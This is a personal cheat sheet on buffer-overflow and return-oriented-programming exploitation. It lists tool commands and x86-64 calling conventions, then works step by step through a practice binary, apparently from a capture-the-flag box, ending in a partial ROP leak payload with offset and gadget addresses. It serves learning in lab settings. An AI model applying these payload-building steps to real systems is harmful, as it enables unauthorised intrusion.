Buffer Overflow¶
Practice sites: * https://exploit.education/
buffer overflow tools:
ropper¶
used to get rop chains
ropper --file garbage | grep "pop"
apt-get install ropper
one_gadget¶
tool for finding one gadget RCE in libc.so.6
one_gadget binary_name
gem install one_gadget
ropgadget¶
search your gadgets on your binaries to facilitate your ROP exploitation
objdump¶
display information from object files.
objdump -D filename
pwntools - checksec¶
checksec filename
pwn checksec filename
pwntools - cyclic¶
pwn cyclic 40
pwn cyclic -l 0x61676161
dmesg - print or control the kernel ring buffer¶
dmesg |tail
readelf¶
Displays information about ELF files.
readelf -s filename
readelf [-a|--all]
[-h|--file-header]
[-l|--program-headers|--segments]
[-S|--section-headers|--sections]
[-g|--section-groups]
[-t|--section-details]
[-e|--headers]
[-s|--syms|--symbols]
[--dyn-syms]
[-n|--notes]
[-r|--relocs]
[-u|--unwind]
[-d|--dynamic]
[-V|--version-info]
[-A|--arch-specific]
[-D|--use-dynamic]
[-x <number or name>|--hex-dump=<number or name>]
[-p <number or name>|--string-dump=<number or name>]
[-R <number or name>|--relocated-dump=<number or name>]
[-z|--decompress]
[-c|--archive-index]
[-w[lLiaprmfFsoRtUuTgAckK]|
--debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]]
[--dwarf-depth=n]
[--dwarf-start=n]
[-I|--histogram]
[-v|--version]
[-W|--wide]
[-H|--help]
elffile...
GDB:¶
- dumprop -- Dump all ROP gadgets in specific memory range
- list registers:
- info registers - shows all the registers
- info registers eax - shows just the register eax
- The command can be abbreviated as i r
vmmap¶
gdb-peda$ help vmmap
Get virtual mapping address ranges of section(s) in debugged process
Usage:
vmmap [mapname] (e.g binary, all, libc, stack)
vmmap address (find mapname contains this address)
vmmap (equiv to cat /proc/pid/maps)
Rabin2¶
Show Properties of a Binary
A few useful options:
-E globally exportable symbols
-g same as -SMZIHVResizcld (show all info)
-H header fields
-i imports (symbols imported from libraries)
-I binary info
-j output in json
-K [algo] calculate checksums (md5, sha1, ..)
-l linked libraries
-L [plugin] list supported bin plugins or plugin details
-m [addr] show source line at addr
-M main (show address of main symbol)
-n [str] show section, symbol or import named str
-N [min:max] force min:max number of chars per string (see -z and -zz)
-s symbols
-S sections
-z strings (from data section)
-zz strings (from raw bins [e bin.rawstr=1])
-zzz dump raw strings to stdout (for huge files)
Calling Conventions¶
(https://ctf101.org/binary-exploitation/what-are-calling-conventions/)
cdecl In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:
int add(int a, int b, int c) {
return a + b + c;
}
would be invoked by pushing c, then b, then a.
SysV
For 64-bit binaries, function arguments are first passed in certain registers:
- RDI
- RSI
- RDX
- RCX
- R8
- R9
then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.
+---------+------+------+------+------+------+------+
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
+---------+------+------+------+------+------+------+
8-byte register | Bytes 0-3 | Bytes 0-1 | Byte 0 |
---|---|---|---|
%rax | %eax | %ax | %al |
%rcx | %ecx | %cx | %cl |
%rdx | %edx | %dx | %dl |
%rbx | %ebx | %bx | %bl |
%rsi | %esi | %si | %sil |
%rdi | %edi | %di | %dil |
%rsp | %esp | %sp | %spl |
%rbp | %ebp | %bp | %bpl |
%r8 | %r8d | %r8w | %r8b |
%r9 | %r9d | %r9w | %r9b |
%r10 | %r10d | %r10w | %r10b |
%r11 | %r11d | %r11w | %r11b |
%r12 | %r12d | %r12w | %r12b |
%r13 | %r13d | %r13w | %r13b |
%r14 | %r14d | %r14w | %r14b |
%r15 | %r15d | %r15w | %r15b |
32 bit:
from pwn import *
elf = ELF('./filename')
#p = elf.process()
p = remote('hostname.address', port_number)
address_of_desired_func
junk = 'A' * 22
payload = junk + p32(address_of_desired_func)
p.interactive()
Miscellaneous notes:¶
- https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
- https://github.com/longld/peda
Resources:¶
- pwntools
- https://www.cs.stevens.edu/~jschauma/631A/elf.html
- x64 Cheat Sheet
- https://reboare.github.io/bof/linux-stack-bof-3.html
- https://www.codetd.com/en/article/6763308
- https://ctf101.org/binary-exploitation/return-oriented-programming/
- https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08
- https://reboare.github.io/bof/linux-stack-bof-2.html
- https://stackoverflow.com/questions/44556590/how-can-i-exploit-a-buffer-overflow
- https://gist.github.com/superkojiman/6a6e44db390d6dfc329a
- https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
- https://gist.github.com/apolloclark/6cffb33f179cc9162d0a
- https://www.exploit-db.com/docs/english/28475-linux-stack-based-buffer-overflows.pdf
- https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf
- https://dl.packetstormsecurity.net/papers/attack/64bit-overflow.pdf
- https://turkeyland.net/projects/overflow/shell.php
- https://resources.infosecinstitute.com/return-oriented-programming-rop-attacks/#gref
- https://nandynarwhals.org/ret2libc-namedpipes/
- https://penturalabs.wordpress.com/2011/03/31/vulnerability-development-buffer-overflows-how-to-bypass-full-aslr/
Write-ups¶
To Sort:¶
objdump -D myapp objdump -x myapp ropper --file myapp ropper --file myapp --search "pop rdi" readelf -s myapp
ROPgadget --binary myapp --only "mov|pop|ret"
readelf --sections myapp
rabin2 -S myapp
r2: pd @ sym.test iz /R pop iS /R pop rdi i
db sym.main ood
gdb:
gdb ./myapp
gdb-peda$ set follow-fork-mode parent
gdb-peda$ b main
gdb-peda$ r
gdb-peda$ x/x
0x7fffffffe1c0: 0x0000000000401070
gdb-peda$ rip
Undefined command: "rip". Try "help".
gdb-peda$ $rip
Undefined command: "$rip". Try "help".
gdb-peda$ $esp
Undefined command: "$esp". Try "help".
gdb-peda$ p $rip
$1 = (void (*)()) 0x401163 <main+4>
gdb-peda$ disassemble
gdb-peda$ vmmap binary
gdb-peda$ vmmap all
gdb-peda$ checksec
gdb-peda$ find "bin"
gdb-peda$ find "/bin/"
gdb-peda$ info functions
gdb-peda$ disassemble test
gdb-peda$ set disassembly-flavor intel
info registers
My initial attempts at the BoF¶
https://ctf101.org/binary-exploitation/return-oriented-programming/
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ set follow-fork-mode parent
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Documents/htb/boxes/safe/myapp
[Detaching after fork from child process 30278]
02:03:30 up 1 day, 31 min, 1 user, load average: 0.10, 0.17, 0.19
What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
gdb-peda$ x/xg $rsp
0x7fffffffe158: 0x414f41413941416a
gdb-peda$ pattern offset 0x414f41413941416a
4706051884014715242 found at offset: 120
junk = "A" * 120
root@kali:~/Documents/htb/boxes/safe# ropper --file myapp --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: myapp
0x0000000000401090: pop rdi; adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040120b: pop rdi; ret;
pop_rdi = 0x40120b
Address of main
root@kali:~/Documents/htb/boxes/safe# objdump -D myapp|grep main
401094: ff 15 56 2f 00 00 callq *0x2f56(%rip) # 403ff0 <__libc_start_main@GLIBC_2.2.5>
000000000040115f <main>:
main - 0x40115f
root@kali:~/Documents/htb/boxes/safe# objdump -D myapp|grep puts
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmpq *0x2fe2(%rip) # 404018 <puts@GLIBC_2.2.5>
4011a1: e8 8a fe ff ff callq 401030 <puts@plt>
plt (procedural link table) - 0x401030 got (global offset table) - 0x404018
payload = junk + pop_rdi + got_put + plt_put + main
payload = "A"*120 + 0x40120b + 0x404018 + 0x401030 + 0x40115f